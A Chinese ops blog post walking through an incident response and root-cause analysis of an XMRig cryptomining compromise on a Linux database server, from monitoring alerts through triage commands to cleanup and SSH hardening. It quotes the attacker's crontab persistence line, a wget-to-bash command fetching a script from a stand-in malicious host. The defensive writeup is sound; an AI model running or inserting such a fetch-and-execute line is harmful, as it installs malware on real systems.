网络安全运维应急响应与溯源分析实战案例

ops/2025/3/19 8:23:57/

在日常运维过程中,网络安全事件时有发生,快速响应和精准溯源是保障业务稳定运行的关键。本文将通过一个实际案例,详细解析从发现问题到溯源定位,再到最终解决的完整流程。

目录

一、事件背景

二、事件发现

1. 监控告警触发

2. 初步分析

三、溯源分析

1. 确定入侵源头

四、处置与恢复

1. 立刻阻断攻击者控制

2. 清除恶意程序

3. 服务器加固

五、总结与经验


一、事件背景

某互联网公司运维团队在日常巡检时,发现一台数据库服务器(192.168.1.100)的CPU使用率异常升高,并伴随大量未知进程占用系统资源,同时MySQL的查询响应时间大幅延长。初步判断可能存在异常入侵行为。

二、事件发现

1. 监控告警触发

使用 Zabbix 监控发现:

  • CPU 使用率持续超过 90%(长期稳定在 20% 左右)
  • MySQL QPS/TPS 下降明显,导致应用访问变慢
  • 服务器 磁盘 I/O 高异常

同时,Wazuh SIEM 平台检测到该服务器有异常 SSH 登录记录,涉及多个可疑 IP 地址。

2. 初步分析

(1)服务器资源消耗情况排查

top -c
ps aux --sort=-%cpu | head -10
ps aux --sort=-%mem | head -10

发现多个可疑进程(xmrigkthreadd)在占用大量 CPU 资源,疑似挖矿木马。

(2)网络连接检测

netstat -antp
ss -tunlp
lsof -i

发现多个可疑的远程连接,连接至境外服务器 45.67.X.X:3333,疑似 C&C 服务器。

(3)日志分析

grep "Accepted password" /var/log/auth.log | awk '{print $1,$2,$3,$9,$11}'

发现多个异常 SSH 登录记录,部分 IP 源自境外,且短时间内进行了高频登录。

三、溯源分析

1. 确定入侵源头

使用 HIDS(主机入侵检测) 结合 日志分析,溯源入侵行为:

  1. 攻击者利用弱密码暴力破解 SSH 账户(root/root123)
  2. 登录后下载并运行恶意挖矿程序(XMRig)
  3. 修改 crontab 以保持长期控制

检查 SSH 登录记录

last -i | grep "root"

发现 root 账户从多个不明 IP 登录。

检查计划任务

crontab -l
cat /etc/crontab
ls -al /etc/cron.hourly/

发现恶意计划任务,定期下载并运行木马:

wget -qO- http://malicious-site.com/m.sh | bash

查找可疑进程执行路径

which xmrig
ls -l /usr/local/bin/xmrig
strings /usr/local/bin/xmrig

确认该进程为 挖矿程序,并且被设置为开机自启。

四、处置与恢复

1. 立刻阻断攻击者控制

  • 阻止恶意 IP
iptables -A INPUT -s 45.67.X.X -j DROP
firewalld-cmd --permanent --add-rich-rule='rule family="ipv4" source address="45.67.X.X" reject'
  • 禁用 root 远程登录
sed -i 's/^PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config
systemctl restart sshd
  • 修改所有账户密码,并启用 SSH 公钥认证

2. 清除恶意程序

  • 杀掉恶意进程
pkill -f xmrig
kill -9 $(pgrep -f xmrig)
  • 删除木马文件
rm -rf /usr/local/bin/xmrig /tmp/malicious.sh /etc/cron.hourly/malicious
  • 检查后门
ls -al /root/.ssh/

发现 authorized_keys 中被植入了攻击者的 SSH 公钥,需删除:

echo "" > /root/.ssh/authorized_keys

3. 服务器加固

  • 开启 fail2ban 防暴力破解
apt install fail2ban -y
systemctl enable fail2ban
  • 设置 SSH 端口为非默认端口
sed -i 's/#Port 22/Port 2222/' /etc/ssh/sshd_config
systemctl restart sshd
  • 关闭不必要的端口
netstat -tulnp | grep LISTEN
systemctl disable unneeded-service

五、总结与经验

  1. SSH 账户密码要设置足够复杂,避免使用 root 直接登录。
  2. 部署 Wazuh、Fail2ban 等安全工具,实时监控入侵行为。
  3. 定期检查服务器 CPU、内存、I/O 指标,发现异常及时分析。
  4. 建立应急响应预案,形成自动化处置流程。

http://www.ppmy.cn/ops/166986.html

相关文章

后端 - java - - 权限修饰符

权限修饰符(访问修饰符)-- 控制类、方法、变量、构造函数的访问权限 1、public 所有成员皆可访问 用于库中的公共API接口或类 开放级别最高 2、protected 同一包中可访问 不同包中继承的子类可访问 用于继承场景,允许子类访问特定的字…

Git下载安装(保姆教程)

目录 1、Git下载 2、Git安装(windows版) (1)启动安装程序 (2)阅读许可协议 (3)选择安装路径 (4)选择组件 (5)选择开始菜单文件夹…

非洲能源商会:架起中非能源合作的桥梁

在全球能源转型与南南合作深化的背景下,非洲能源商会(African Energy Chamber,简称AEC) 以其独特的战略定位与实践成果,成为推动非洲能源发展与中非合作的关键力量。作为非洲领先的能源行业倡导组织,AEC自成立以来始终致力于促进非洲能源价值链的可持续发展,通过政策对话、行业…

python 入门笔记7-面向对象

1. 面向对象基础概念 类(Class):对象的蓝图,定义对象的属性和方法。 对象(Object):类的实例,具有具体的属性和行为。 属性(Attribute):对象的状…

Pot-App 本地deepseek-r1 翻译开源插件,支持本地ollama deepseek-r1系列模型,同时在POT翻译窗口不显示模型思考过程

一、软件介绍 文末提供插件及源码下载 此开源插件作為支持本地ollama deepseek-r1系列模型,並在POT输出窗口中不显示模型思考过程。 模型安装(根据自己的电脑配置安装相应版本,支持官方1.5b~8b) Ollama模型网址:deep…

天梯赛 L2-005 集合相似度

很简单的一道L2&#xff0c;直接使用unoredred_map记录两个数组的交集和并集即可。 #include <bits/stdc.h> using namespace std; #define endl \n #define int long long typedef long long ll; const int N 1010; const int mod 998244353; void solve() {int n;ci…

vue的绑定

一个组件就是一个对象或一个方法&#xff0c;在对象里创建的属性。肯定属于对象的内部字段&#xff0c;说白了只有这个对象去记他的属性的内存地址&#xff0c;在这个角度上去想父子组件的传值&#xff0c;传的不就是地址&#xff0c;也就是字段的引用 父组A对象&#xff0c;在…

一周学会Flask3 Python Web开发-SQLAlchemy删除数据操作-班级模块

锋哥原创的Flask3 Python Web开发 Flask3视频教程&#xff1a; 2025版 Flask3 Python web开发 视频教程(无废话版) 玩命更新中~_哔哩哔哩_bilibili 首页list.html里加上删除链接&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta c…